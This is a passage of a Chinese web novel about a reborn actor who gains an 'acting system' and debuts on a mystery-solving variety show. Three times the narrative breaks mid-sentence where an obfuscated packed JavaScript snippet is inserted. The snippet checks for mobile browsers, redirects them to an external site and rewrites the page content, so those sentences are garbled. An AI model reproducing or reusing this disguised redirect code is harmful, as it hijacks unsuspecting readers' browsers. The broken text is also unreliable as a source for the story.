《真CP嗑一下?[娱乐圈]》 1. 综艺出道 宁非凡猛地弹坐起身,抓着喉咙大口大口地呼吸。因为动作幅度过大,他碰掉了床沿摇摇欲坠的枕头,自己也险些翻倒下去,身上飞快渗出一层又一层冷汗,很快就浸湿了他的头发与衣服。 半分钟后,他的喘息渐渐平缓下来,抬起颤巍巍的手撸了一把额发,额角青筋跳动的频率也缓和下去。 窒息感、灼痛感、撕裂的剧痛与失血过多的寒冷眩晕,仍然在他神经末梢激烈地跳动。所幸他清晰地知道它们都是幻觉,又因为被折腾出了经验,没多久就从中挣脱,捂着脸长长呼出一口气。 掀开被子下床,宁非凡进浴室冲了个凉水澡,站在镜子前吹头发时,望着镜面上自己的身形面貌,油然而生一个想法——总算看顺眼了。 他叫宁非凡,上辈子叫这个名字,结果因一步行差踏错债务缠身,上班路上还出了车祸死得猝不及防,白瞎一个好名字。 重生后这具身体的主人也叫宁非凡,父母离异但不缺钱,独居大跃层,B省戏剧学院科班毕业,标标准准的演员出身,不久前刚通过一部大投资年代剧的试戏,本该人如其名,前途无量。 奈何命运弄人,他辛苦试上的角色被一个与他同期出道,但签约了大公司的艺人抢了过去,他去找剧组要说法,还被冷嘲热讽落了个没脸,回来一时想不开,选择了轻生。 宁非凡刚从这身体里醒过来,接收原主记忆时,实在想不通他为何要走极端。 他才二十一岁,正是年轻气盛,有着大把试错机会的年岁。被抢角色可以试新的,没有公司保驾护航就争取签一个,实在不行还能从群演做起,他形象好,气质佳,但凡有个机会就能脱颖而出,到底为什么要想不开? 宁非凡想不明白,而原主也没了想明白的机会。他只能认命地接受新人生的开端,把血都快流干了的手腕拔出浴缸,摇摇晃晃地走出浴室,找手机打120。 就在他拿起手机的那一刻,一道冷冰冰的声线忽然在他脑海中响起: “恭喜宿主宁非凡获得承载系统的资质,演艺系统已解锁,请仔细聆听接下来宣读的注意事项,熟记并遵守。如有违反,后果自负。” 头昏脑涨的宁非凡:他的耳朵叽里咕噜说什么呢?现在耳鸣都有内容了? 那道声音继续:“检测到宿主身体状况有异,无法完全接纳系统的精神体,正在消耗能源进行修复——修复完毕。” “重复一遍,演艺系统已经开启,正在为宿主进行生理信息绑定。” “啊?” “声纹绑定成功。” “宿主,你的演技训练又不达标。” 耳边骤然响起记忆中那道冰冷的声线,宁非凡猛然回神,吓得毛巾差点抖落在地。 他拍拍胸口,翻了个白眼:“你让我一个没接受过系统训练的演技小白表演五秒六种层次的悲伤,系统大人,你制定这套计划的时候神智真的清醒吗?” “这具身体的主人是科班出身的演员,在校成绩不差,大部分专业知识已经被他练成了肌肉记忆,否则区区新人,不可能通过《百宁好合》导演的试戏。”系统道。 作为演艺系统,它有着高纬度世界科技造物最鲜明的几个特点——一是目标精确,二是执行力惊人,三是可提供资源丰富。 给宁非凡治完伤,补完血,做完自我介绍后,系统明确提出要求宁非凡进入自己创造的与现实时间流速1:100的虚拟空间,参与自己制定的百日演技提高计划,并承诺在计划目标全部实现后,会给他提供一切他所需要的娱乐圈资源,包括但不限于戏约、热门综艺约、各类商务和通告资源、报奖等等。 除此之外,系统也会亲自担任他的经纪人,根据他的喜好为他进行事业规划和粉丝管理,让他在追逐事业的同时拥有咸鱼一般的躺赢人生,条件不可谓不丰厚。 为了打动宁非凡那颗饱受摧残后咸度极高的心,系统还在虚拟空间四面墙上拉了满墙横幅,上书:完成我的小目标,还你一段无忧人生。 要说宁非凡不动心,他自己都不信,可那劳什子百日演技提高计划的难度实在是高得吓人,即使他有原主的记忆与经验,仍旧进行得磕磕绊绊,到现在十天过去,他也才完成了最基础的形体管理、表情管理、应付媒体的技巧和最低一级的演技考验,而前方——全是喜马拉雅山。 挂好毛巾,宁非凡搓了把脸:“咱就是说,我一定得逐梦演艺圈,而不能干别的行业吗?” “当然。”系统答道,“我是演艺系统,不是全能系统,无法给宿主提供其他行业选项。来到这个低维世界虽然是意外,但我必须履行将宿主培养成娱乐行业杰出人物的任务,这是写在我程序底层的绝对编码。” “那我们能解约吗?” “可以,但你……确切地说,是这具身体在系统抽离的瞬间,就会因为失血过多暴毙。” “……当我没说。” 宁非凡拉开浴室出去,躺在床上静静地思索,系统也没烦他,老老实实等他的决定。 不知过去多久,宁非凡胃里发出一声悠长的鸣叫,这惊醒了他,也终于让他下定决心。 揉着肚子坐起身,他懒散道:“等我吃完饭,再拉我进一次虚拟空间。这次不选体验派的训练方法,换沉浸式演绎。” 与百日演技提高计划配套的是虚拟空间自带的演技训练方法,包括传统的体验派和方法派,以及系统独有的沉浸式演绎。 方法派主要是练习技巧,体验派则是让宁非凡反复亲历各种情绪、情感、感受,将他在这些经历中的反应固化成肌肉记忆,方便以后演戏时随时调动。 但方法派费脑,体验派费命,宁非凡一点儿也不想再体会车祸的一百零八种死法和三百六十五种被打被骗被绿后的情绪,所以他决定——两个都要! 系统顿了顿:“确定吗?沉浸式演绎会将你放进一个固定场所,你必须在里面完整演完一个角色的一生,将世界上所有喜怒哀乐都经历并演绎到合格,才算任务完成,可以从那里离开。虽然沉浸式演绎一旦通关,就相当于直通百日演技提高计划大结局,但这个难度并不比另外两种……” “停,别念叨了,就这个。”宁非凡扬起嘴角,“演绎场所我已经想好了,精神病院。至于角色的病情……我能自由发挥吗?” 系统:“……” 这么明确的指定……他该不会是真有病吧? …… “燕砸!燕砸!没有你我可怎么活啊——” 草木葱茏的花园里,一身蓝白条纹病号服的宁非凡追着一只低空滑翔的燕子奔跑,双腿抡得像踩了风火轮,手臂用力前伸,脑门上青筋暴起,面颊涨红,撕心裂肺地哭着喊着,背后跟了一串医生护士,愣是没一人追得上他。 他猛地扑向那可怜的燕子,手臂合拢却抓了个空,上身前倾,踉踉跄跄地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16172059|180727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒向地面,却在摔个狗吃屎前敏捷地一转身站稳,摆出跳交际舞的姿势,绕着身前的榕树一圈一圈地转。 医生们气喘吁吁地停在不远处,护士们则弯腰撑着膝盖,喘得话都说不上来,只能看着他一边旋转跳跃,一边哼着节拍,轻盈而优雅地舞动。 “魔树啊,魔树,请告诉我,谁是世界上最美的人?”宁非凡原地转了两个圈,利落地撤步展臂,似乎牵着一位无形的舞伴做了个定格姿势,又旋身继续踏起舞步。 他的语调铿镪顿挫,起伏曲折,时而平静或带着笑意,时而高亢尖锐,或沉稳落地,中间几无转折,却也丝滑无比,听起来像一首怪诞诡谲的歌。 主治医生往前走了半步,宁非凡忽然回过头来,肩膀与手臂抻直板正,一动不动,只有脖子像关节滞涩的人偶,一卡一顿地歪向一侧。 他面部肌肉不动,眼也不弯,只牵动嘴角,露出一个僵硬的笑。 “啊——”宁非凡仍然只有嘴唇在动,声音像是从收缩到极致的声带里硬挤出来,滞闷而低沉,“最美的人,原来是是埋在树下的枯骨,我真正的——主、治、医、生啊。” “叩叩叩……” 休息室的门突然被人敲响,宁非凡抬头看了一眼,退出这个名为“癫公实录”的视频,按灭屏幕,从上衣口袋里掏出墨镜戴上。 “请进。” 话音刚落,门便被轻轻推开,摄影师扛着机器快步进来,后方跟着好几位工作人员,为首的是个年轻姑娘,剪了短发,打扮干练,一进门就跟宁非凡握了握手。 “宁先生你好。”年轻姑娘礼貌地笑道,“我是你在‘逃出桃花源’的PD,我叫沈溆,你叫我小沈就行。” 宁非凡笑着和她握手:“你好,以后请多指教。录制要开始了是吧?” “是的,还有五分钟,我来跟你对一下流程。”沈溆在沙发上坐下,一边翻开流程表一边说:“逃出桃花源是一档集推理解谜、密室逃脱和轻度大逃杀于一体的全新综艺,录制场所在W市的桃花源岛上,为期20天,等今天的先导片和破冰聚餐录制结束,我们就要马上赶往桃花源岛,机票住处都已经安排好,之后会有人来与你对接。” 宁非凡点点头:“好的。” 沈溆又从记录本后抽出流程单和嘉宾名单递给他:“先导片大概要录三到五个小时,主要环节为嘉宾初见、破冰聚餐和餐后游戏,你不要有压力,正常发挥就好,如果有需要调整的地方,我们会场外提醒。逃出桃花源共有六名嘉宾,你可以先看看他们的资料,有任何问题第一时间告诉我,我会尽量为你解答,或帮你协商。” “好,谢谢。” 宁非凡弯了弯唇角,目光透过黝黑的镜片落在沈溆身上,虽然一晃而过,却让她忽然背后一寒,忍不住哆嗦了一下。 沈溆搓搓手臂:“休息室的空调是不是开得太低了?要不要帮你调高点?” “不用。”宁非凡垂下头,有些漫不经心地翻阅嘉宾资料,“你要有事就先去忙吧,开机了跟我说一声。” 沈溆扭头看了看墙角的立式空调,上面显示温度为21°,对于八月底的天气来说确实不算低。 她困惑地收回目光,却也没多想,低声提醒道:“我离开休息室后就会开机,宁老师多做些反应和互动,休息室这段也会剪进开头。” 宁非凡没有看她,只是比了个“OK”手势:“明白。” 2. 这个先导片它正经吗(一) 沈溆离开休息室后,宁非凡感受到隐隐约约的窥视感,知道镜头已经对准自己,于是运用起在系统中学到的“综艺镜头下的常识”,一边翻看嘉宾资料,一边做反应。 此前他一直在看自己通关百日演技提高计划的那段演绎视频,系统便憋着没说话,现在总算得了开口的机会,闷闷道:“你的沉浸式演绎完成度很高,以至于现在都没完全从那个状态中抽离。这种情况下,你不是应该选择马上进组吗?为什么想从综艺出道?” “就是因为我状态拉得太满,现在进组反而很难进入另一个角色,我需要通过有一定演绎需求,但相对轻松的综艺来调整心态。”宁非凡解释道,“我在虚拟空间里癫得把你都吓到了,刚刚看小沈一眼,还把人家姑娘盯得身上发冷。我是要接什么样的戏,演什么样的剧本,才能利用并消解这种近乎失衡的状态?” “你说的对。”系统虚心接受建议,而后顿了一下,迟疑地说:“嗯……除了这个,我还有件事要跟你说。” 宁非凡奇怪:“那就说啊。你一个人工智能吞吞吐吐什么?” 系统做了几秒钟的心理建设:“是这样,你的沉浸式演绎结束后,虚拟空间的打分器不是卡住了吗?现在修好了,你的专属成就和专属头衔也都刷出来了,相应的奖励‘粉丝运营计划’已经下发到账。” “嗯,好事。”宁非凡道,“我的专属成就是什么?” “癫公。” “……我可以这么评价自己,但你不能用它来骂我。” “我的意思是,你的专属成就和头衔都是癫公。” “……” 摄影师站在支架后,岔开双腿,从镜头里望向不远处沙发上的男人,时刻准备着捕捉他有趣的微表情和其他反应。 他支着手肘撑住扶手,资料摊开在他交叠的双腿上,修长手指扫过微微反光的纸张,他略略低头,鼻梁上的墨镜滑下一截,显出一种散漫而洒拓的气场。 蓦地,他好像看到什么,绯薄的唇瓣一弯,轻轻笑出了声。 摄影师猛然打起精神,推着支架挪动到宁非凡身后,录下他正在阅读的内容。 莫闻赫,男,二十岁,童星出道,知名演员,代表作《风吹过的夏天》、《夜无双》、《京洛桥滩往事》。 宁非凡的拇指正点在这位知名演员的照片上方,视线似也落在他那张轮廓深刻,五官精致的脸上。 这一眼,再衬着宁非凡唇边略带玩味的浅笑,霎时牵扯出无数复杂莫测的情绪,让这个镜头显得分外意味深长。 摄影师:高能镜头!妥了! 对面的休息室内,知名演员本人调低了空调温度,倚进沙发里随意翻阅资料,面上只画了点淡妆,一米九以上的身高与超绝比例,让他不管作何姿态都显得赏心悦目,丰神俊朗。 莫闻赫眼中噙着淡淡的笑意,边看边低声笑道:“这次的搭档居然一个熟人都没有,全是只闻其名不见其人的哥哥姐姐……王姐居然愿意来这种综艺当常驻?我看她上过一百零一页,那是个密室逃脱综艺,灯一关她就从一米七变成一米一,还绊倒过队友,笑死。” “嗯……何循哥,很厉害的演员,我看过他的戏,但没见过真人。白韶清?哦,她也是童星,我以前看过她的旅综冲浪片段,特别帅气!” “秦章,不认识的弟弟。聂远笙,不认识的弟弟。宁非凡,不认……哇哦!好帅!” 莫闻赫眼睛一亮,原本懒懒倚在抱枕堆里的人倏然坐直,看着资料旁边的证件照一脸惊讶。 摄影机镜头锁定他的面部表情,PD小姐姐的画外音悠悠传来:“莫老师觉得自己和他谁更帅?” “挑事是吧?”莫闻赫托住下巴,“不过审美是主观的,我觉得……他更帅!” 说着,他放下翘高的腿,朝镜头前一凑:“他是新人吗?我看资料上写他是B省戏剧学院出来的,也就比我大一岁。” PD小姐姐点头:“是的。他提交上来的资料里有他模仿影视剧名场面的演绎片段,是个演技很好的帅气小哥哥。” “啊——果然。”莫闻赫靠回靠背上,翻了翻资料,突然又开口:“嘶……我刚刚问的那些合适吗?你们会剪掉的吧?” PD小姐姐和摄像师微微一笑,谁也没有回答他。 莫闻赫笑着指指他们,也不说话了。 …… 二十分钟后,嘉宾们陆陆续续抵达录制初见环节的摄影棚,宁非凡来得最早,挨个跟前辈们打过招呼,便自觉坐到最左边的位置,等最后一位大咖,影帝何循。 人没来齐,无法录制,几个嘉宾又都是会来事的,索性开着麦闲聊起来,为剪辑组之后剪花絮留素材。 宁非凡是新人,最佳的话题引入机,年纪最小也最活泼的聂远笙和秦章第一时间朝他望了过去。 这二人一个十九岁,一个十八岁,是同一档选秀节目里出来的,论咖位只比他这个纯新人高一点,态度也算客气。 “宁哥,你怎么一直戴着墨镜啊?”聂远笙冲宁非凡挥挥手,抿笑的嘴角旁有个若隐若现的酒窝,“你真的看得到东西吗?” “还好。”宁非凡偏头一笑,翘着二郎腿的坐姿松弛又自在,不知道的还以为他是什么综艺咖老油条,“这个节目不是有民俗背景吗?我在试图让自己看起来可信一点。” 秦章讶异地瞪大本就很大的眼睛:“想让自己看起来可信为什么要戴墨镜?不是应该戴那种学霸专用的酒瓶底眼镜吗?” 宁非凡“啧”了一声,摇摇食指:“不是那种可信。” “那是什么?”同为年轻演员的白韶清也笑着搭话,“我都怕你戴着墨镜看不清路,到时候再一个趔趄把我们全绊倒。毕竟你腿那么长,一个滑铲踹倒五人绰绰有余。” 白韶清性格直爽,略带点东北口音的调侃听上去逗趣又无棱角,现场顿时响起了几声闷笑。 宁非凡瞥了眼自己的腿,也乐了:“谢谢夸奖谢谢夸奖。为你这句话,我墨镜不戴了也行。” 说完,他随手摘下墨镜,露出此前被挡了大半的脸。一双凤眼斜斜向上勾挑,浅浅的内双在眼尾晕成了精致的扇形,衬着浓淡合宜的长眉与高挺鼻梁,呈现出一种毫无瑕疵的英气俊美。 王洛玟坐在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16172060|180727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁非凡身边,她刚拿了百思奖最佳女配提名,正被网友批德不配位,情绪有点低落,不怎么想说话。 但看到宁非凡的全脸后,她也忍不住跟着白韶清一起“哇”了一声,哇完立马转身跟白韶清握手。 “妹妹你做的好啊,就该让他把这破墨镜摘了!” 白韶清笑着点头:“这是真的可以靠颜值吃饭,我要不是圈里人,走路上碰到他都得找他合照。” 宁非凡转了下墨镜,镜框轻压在唇上,闻言轻笑道:“现在也可以找我合照啊,我又不收费。” “那我来了啊,我真不跟你客气!” “你坐那儿,我来。” 宁非凡放下长腿,两步跨到白韶清椅子后方,白韶清也立马起身凑近他,掏出手机调镜头摆pose。 摆了几秒,她仰头问宁非凡:“弟弟你多高?” 宁非凡想了想:“180左右?” 白韶清呵呵一笑:“你左了得有十厘米吧?我160出头,这镜头对着我都拍不到你的下巴。” “那我低点。”宁非凡深吸一口气,气沉丹田,在她背后扎了个马步,“姐,这样能拍到我下巴了吗?” “滚你的!” 两人闹腾起来,把现场气氛也带热了,秦章、聂远笙和王洛玟都过去凑热闹,拉着宁非凡拍了好几张双人照与大合照。 就在众人闹作一团,生疏氛围开始破冰之际,始终坐在中间偏左位置一言不发的莫闻赫歪头看了过去,指腹轻轻摩挲下唇,视线在几人之间左右横扫,在所有人都拍完照片后才施施然站起,到角落拿了根装饰用的长条气球,递给结束合照的宁非凡。 宁非凡一愣,这时才注意到旁边还有个不声不响的人。 他看看莫闻赫又看看那根气球,一脸茫然地问:“怎么了?要我帮忙充气?” 莫闻赫笑眯眯道:“你不是缺根拐棍吗?” 这话一出,宁非凡当即挑高了眉毛,其他人则齐齐愣住,满脸写着“啊?”。 但下一刻,他们便看到宁非凡笑着接过气球,一手拄着,一手戴上墨镜:“莫老师,合个照?” “来。” 莫闻赫迈步上前,非常自来熟地勾住他的肩膀,他也抬手搭上莫闻赫肩头,两人脑袋挨着脑袋,竖起剪刀手,像认识多年的好友般拍了张亲昵的合照。 王洛玟十分不解,甚至认为自己跟不上时代:“清啊,他俩这什么意思啊?送根气球就成好朋友了?” 白韶清摸着下巴,露出迷之微笑:“那不是气球,是拐棍,而且是只有莫老师理解了的拐棍。” 王洛玟瞪了瞪眼,脑袋上的问号还没成型,就看到白韶清乐呵呵冲那哥俩挥手:“神棍哥,神棍哥肚子里的蛔虫,跟我也拍一张呗!” 神棍哥?蛔虫? 王姐的目光从莫闻赫脸上扫到宁非凡的墨镜,再落到那根和拐棍没一毛钱关系的长条气球上,恍然大悟的同时捂着额头别过身去。 她向还没反应过来的秦章和聂远笙摊手:“你们小年轻玩梗的脑回路都这么刁钻吗?” 俩小年轻:“诶?” 3. 这个先导片它正经吗(二) 何循的化妆师突发急病,坐他的房车前往医院就诊,他把事情都安排好才回休息室继续化妆、录片头,不免耽误了些时间。 匆匆走进摄影棚,他道歉的话都涌到嘴边了,却在看到棚内众人有说有笑其乐融融的场景时一呆,把话又咽了回去。 摄影师精准抓拍到他这个呆住的小表情,在他迟疑着往前走时小心跟上。 “何哥!” “哥你来啦!” 何循一动,立刻引来众人的目光,摄影棚内顿时听取“哥”声一片。 他微笑着跟每个人握手打招呼,轮到宁非凡的时候动作一顿,脖子微微向前伸,疑惑地扫视他脸上的墨镜和在腰上缠了一圈,仿佛泳圈般的棍状气球,不明所以地搔搔头:“非凡啊,你这是什么搭配?今年新流行起来的时尚潮流?” 何循是老派演员出身,年过四十,奖项加身,也很少上综艺,是“逃出桃花源”最大的腕儿。 不过他的脾气也是出了名的随和,网感不好不妨碍他和小辈们相处,上来就去姓喊名也几乎成了他的标志性破冰举动。 决定参加这个综艺后,宁非凡把所有嘉宾的资料都恶补了一遍,拟好相处章程,刚才简短的互动尺度也拿捏得妥当,对着何循自然更不会掉以轻心。 他握紧何循的手上下晃了晃,笑道:“不是什么潮流,我在提前找人设感觉呢。哥你坐吧。” “哦……”何循有点懵地被他引到中间的位置上坐下,自个儿琢磨了一会儿,又倾身越过莫闻赫和王洛玟问:“你拿到人设卡了?我怎么没有啊,是不给我漏发了?” 宁非凡正调整眼镜腿的角度呢,听到这话不禁笑了一下,把他笑得又是一怔。 王洛玟扶着他手臂让他坐好,竖起拇指点了点宁非凡:“他玩抽象呢哥,别听他的,我们都没有人设卡。” 何循不解:“玩抽象?” 莫闻赫左右看了看,忽然起身走到宁非凡身旁,在他讶然抬头看来时搭着他的肩膀指指墨镜,再戳戳气球:“墨镜,拐棍,民俗背景——循哥,听到这仨词儿你能想到什么?” 何循不理解但是脱口而出:“算命先生?” 莫闻赫打了个响指,秦章和聂远笙也非常上道地起哄鼓掌:“不愧是循哥,就您这个年纪,猜这个一猜一个准。” 何循闷笑:“什么叫我这个年纪一猜一个准……我觉得你们在挖苦我。非凡啊,你现在就整这套装备,第一期要真拿了算命先生的角色可就有意思了。” “借哥吉言,我喜欢这样的角色。”宁非凡抖抖脚尖,直视面前的镜头开玩笑道:“节目组,咱循哥都发话了,你们也不忍心让他打脸吧?——墨镜我要大镜片的,拐棍也给我镶金边啊!” 何循抄过他的气球笑着抽了他一下:“去你的!” 宁非凡佯装躲避,恰好与低头看向自己的莫闻赫对上目光。 和他相视一笑,莫闻赫回位子上坐下,眼底噙着淡淡笑意,只听不再开口。 七位嘉宾全员到齐,熟悉速度比节目组预料得更快,氛围也更好,几个PD一合计,干脆让他们直接进入下一个环节——破冰聚餐,餐后游戏也提到餐前和餐中,让他们边吃边玩边聊,加快进度的同时保证趣味性,也让后期有更多发挥空间。 逃出桃花源是白桃TV旗下星跃工作室策划的新综艺,不算纯原创,很多流程和元素都是市面上的老综用烂了的,所以投资不大,嘉宾里除了何循这个影帝,也就只有流量生莫闻赫要价略高,匀出了很多经费用在置景和编剧团上。 通过百日演技提高计划的考验后,系统给了宁非凡两个选项,让他挑一个作为他的出道首秀。 一个是帮他谈下适合他当下癫公精神状态的剧本,另一个是随机爆款潜力新综,他要了后者,原因前面已经提过,这里不再赘述。 宁非凡重生前就是个普通人,又为生活的重担疲于奔命,对娱乐圈不太了解,也不感兴趣,之所以愿意入圈,也不过是应了系统的赶鸭子上架,至于未来如何规划,他想等综艺录完、播出,得到一定的反馈再说。 他曾经吃够了世事无常的苦,如今哪怕是当被摁头喂饭的咸鱼,走别人安排的路,也要自行掌握方向。 “宁老师,低一下头,我给你补点粉。” 化妆助理小姐姐的声音在耳边响起,宁非凡回过神来,见她身高不方便,索性蹲下来,等她补完妆再重新站起。 节目组准备的聚餐菜色是川味火锅,菜还在上,设备也还在调,嘉宾们便在大休息室里等着,十几分钟后才陆陆续续入场。 宁非凡照旧坐在最左边的上菜位,手边是装满了肉菜的小推车,也算近水楼台先得月。 他正盯着麻辣牛肉看,忽然一阵冷调微苦的香气飘来,钻进他的鼻腔。与此同时,他感觉有人坐到了他身边:“饿了?” 莫闻赫的声线低沉温和,再刻意压低便会转出一点喑哑的磁性,比宁非凡的音色都要再沉一些,非常抓耳。 宁非凡诧异地看过去:“你坐这儿?” 莫闻赫点点头,指了下推车,狡黠地笑弯了眼睛:“这儿离食物近。” 宁非凡低笑出声,心里却是更确定了他对自己抱有莫名的善意和亲近。 虽然不知道这善意和亲近从何而来,但宁非凡依然领情:“行,一会儿你想吃什么跟我说,我给你拿。” 莫闻赫摩挲着嘴唇,试探道:“麻辣牛肉好吃吗?” “好吃。”火锅重度爱好者宁非凡毫不犹豫地点头,“但这个很辣,你能吃辣吗?” “不太能。”莫闻赫轻挠鬓角,“我等下先试两条,吃得下再加。” “可以……” 宁非凡刚答话,就听工作人员拿着喇叭指挥道:“各位老师们可以拿自己想吃的菜了,但在开吃之前,我们要先做一个小游戏,赢的人可以优先选汤底和给输的人指定汤底。” “OKOK。”秦章率先回答,并挑起话题:“哥哥姐姐们都喜欢什么口味的汤底啊?” 王洛玟和白韶清一左一右奔赴桌子两边的推车,边拿食物边异口同声地答:“番茄!” “番茄?”何循跟王洛玟演过戏,和她颇为熟悉,当即提出疑问:“你不是无辣不欢吗?在剧组没辣椒都吃不下饭,现在怎么吃起番茄锅来了?” 王洛玟叹气,指着下巴处的痘痘让他看:“你以为我想吃这么清淡啊?下个月不是要进组了吗,我最近在做皮肤管理,经纪人说我再吃辣他就吊死在我家门口,敢吃吗我。” 众人一阵哄笑。 聂远笙接着问:“那何哥你喜欢什么?” “当然是牛油!”何循不假思索道,“川味火锅不吃牛油不带劲!” “我也喜欢牛油,特辣版。”秦章戳戳聂远笙,“你呢?” “骨汤,”聂远笙冲他张嘴,“我嘴里长了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16172061|180727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俩溃疡,吃不了辣。” 秦章拍拍他的肩膀表示安慰:“没事,一会儿你看我吃,管饱管香。” “来看我嘴型——哥、屋、恩、滚!” “哈哈哈哈——” 莫闻赫捏着锅底单从上到下扫了一遍,犹豫地给出选择:“我比较喜欢酸辣锅底,多酸少辣。宁哥,你呢?” 宁非凡被他突如其来的“宁哥”喊懵了,讶异地看向他,正迎上他微微含笑的桃花眼,愣了会儿才回以一笑:“我肯定是选牛油,特辣。” 闻言,秦章隔着半张桌子给他点赞:“哥你太有品了!等会儿咱俩一组吧!” 宁非凡不解:“已经确定是需要分组的游戏了吗?” 秦章正要回答,工作人员的画外音便如期而至:“各位老师们请坐好,现在开始讲解游戏规则。” 听到这话,众人连忙各找各位,宁非凡和莫闻赫也放下翘着的二郎腿,端正坐直。 工作人员继续道:“这个游戏叫‘我来表演你来猜’,各位老师需要通过抽卡确定自己要表演的对象,不能说话,只能用肢体语言演出表演对象的特点,其他人来猜。有人猜中就算表演的老师赢,没猜中算输。” 白韶清举手提问:“我能问问抽卡范围吗?” 工作人员道:“就是七位老师互抽,有一位幸运老师轮空,轮空的老师可以选择第一期的角色。” “互抽啊?”何循惊讶地提高音量,眼神开始朝其他人身上扫,“哦哟,这可不好演,我还没怎么了解过大家呢。” 王洛玟笑着按住他的手:“其实挺简单的哥,咱们这儿只有一个人戴墨镜拿气球,抽到他就稳了。” 角落里,宁非凡正拿着一只小料碗专心调蘸料,突然被cue,众人的视线便跟着齐刷刷落到他身上,他也茫然地歪头回望过去。 莫闻赫拿手肘撞他一下,笑问道:“你听到游戏规则了吗?” “听了,我们七个互相表演,让其他人猜是谁,猜中算赢,猜错算输。轮空的幸运观众可以自选第一期角色。”宁非凡言简意赅地复述,顺手托了下墨镜,“节目组禁道具不禁啊?不禁的话我太好猜了,把墨镜薅过去一戴,有谁猜不中吗?” “禁呗,无所谓。”何循两手一摊,嘚瑟地笑,“无实物表演推墨镜也能猜出你来。” 闻言,莫闻赫在旁边做了个虚空推眼镜的动作,几乎一比一复刻宁非凡的举动。 宁非凡好笑地斜他一眼,右腿又条件反射地搭上膝盖,双手抱拳上下晃了晃:“我就玩个抽象还能有这用处,挺好,提前恭喜抽到我的人赢了!” “恭喜恭喜!” “恭喜!” 大家很捧场地跟着抱拳。 聊完宁非凡,聂远笙借着这个话题继续拓展:“诶诶,宁哥是推墨镜,那其他人有什么可模仿的特点啊?” 何循托着下巴观察了半天,正想说出观察成果,手臂就被白韶清一把握住。 “哥,咱们先不说这个,都说了一会儿还看什么?多没劲啊。”白韶清露出小恶魔的微笑,“来来来,抽卡抽卡,录完先导片以后还能不能接到戏,就看这把了!” 宁非凡原本放松地靠着椅背,右臂松弛地搭在莫闻赫的椅背上,半是放空半听前辈们做效果,一听这话,腿立马就放了下去。 “好好好,这么玩是吧!”他撸起袖子,仿佛一下来了斗志,“来,上卡!” 4. 这个先导片它正经吗(三) 卡片分发下去,宁非凡一翻开就乐了。 上面赫然写着三个字——莫闻赫。 说起来,在综艺开录之前,其余六人里他最了解也最不了解的就是莫闻赫。 之所以说最了解,是因为莫闻赫作为近两年童星出身的当红流量生,网络上的资料与物料最多。尽管他爱惜羽毛,称得上代表作的电视剧和当过飞行嘉宾的综艺就那么些,但粉丝基数大,懂宣传,所以传播范围极广,二创切片不少,宁非凡找嘉宾资料时就数找他的最轻松。 而说最不了解,则是因为隔着屏幕,隔着聚光灯,隔着精致的妆造与高清镜头,在这个几乎无隐私无荫蔽的圈子里,他表露的真实自我少得接近于无。 他拍过很多商务硬照,帅气而冰冷。他在剧里披着角色的皮或哭或笑,真挚动人却只见演技高超。哪怕到了综艺里,他仍然不能完全做自己,喜怒哀乐都带有距离感,玩游戏时全心投入,但灵魂抽离。 一人千面,宁非凡摸不透他。 正因为摸不透他,所以对他的示好和亲近才会始终抱有惊讶、诧异、不解之类的情绪。 一个星光与演技共存的当红流量,实在没必要讨好宁非凡这个新人,而他的搭话接话,抛梗接梗,又做得相当自然,毫无之前宁非凡在他其他综艺里感受到的疏离感,这很难不让人惊诧。 不过…… 宁非凡无所谓地想,反正自己已经完成系统的要求,该有的以后都会有,与在场所有人都无资源上的竞争和矛盾,管他那么多。 他想接触就接触,想亲近就亲近,想利用自己做什么,那自己就干脆地躺下,交给系统这位“经纪人”处理。 费了老大劲才通过那劳什子计划,演了虚拟空间内将近一千天的疯子,宁非凡早已经对人心人性麻木,不想再勾心斗角了。 无论是谁,都正常相处,出现不得不调整的情况再说。 “各位老师都拿到卡片了吧?”工作人员的声音透过扩音器响起,略显失真,“想好怎么扮演自己抽到的人了吗?” 摄像机在桌前移动,捕捉嘉宾们的表情特写。 何循嘬着牙花唉声叹气,王洛玟略显浮夸地嘟嘴嘬腮,白韶清捂着嘴巴忍笑,聂远笙欲言又止,秦章长长叹了口气。 到宁非凡和莫闻赫这里,两人的表情一个比一个高深莫测。 秦章探头观察众人,眼神中流露出一种清澈的茫然:“大家怎么这个表情?好像抽的不是我们几个,而是什么神奇生物一样。” “还好,还好。”宁非凡摆摆手,墨镜下的视线扫向工作人员,“可以开始演了吗?要不要由我来抛砖引玉一下?” 莫闻赫讶异地上下扫视他:“这么自信,你不会是抽到自己了吧?” 宁非凡似笑非笑地觑他一眼,工作人员见状,立马说道:“可以开始了。” 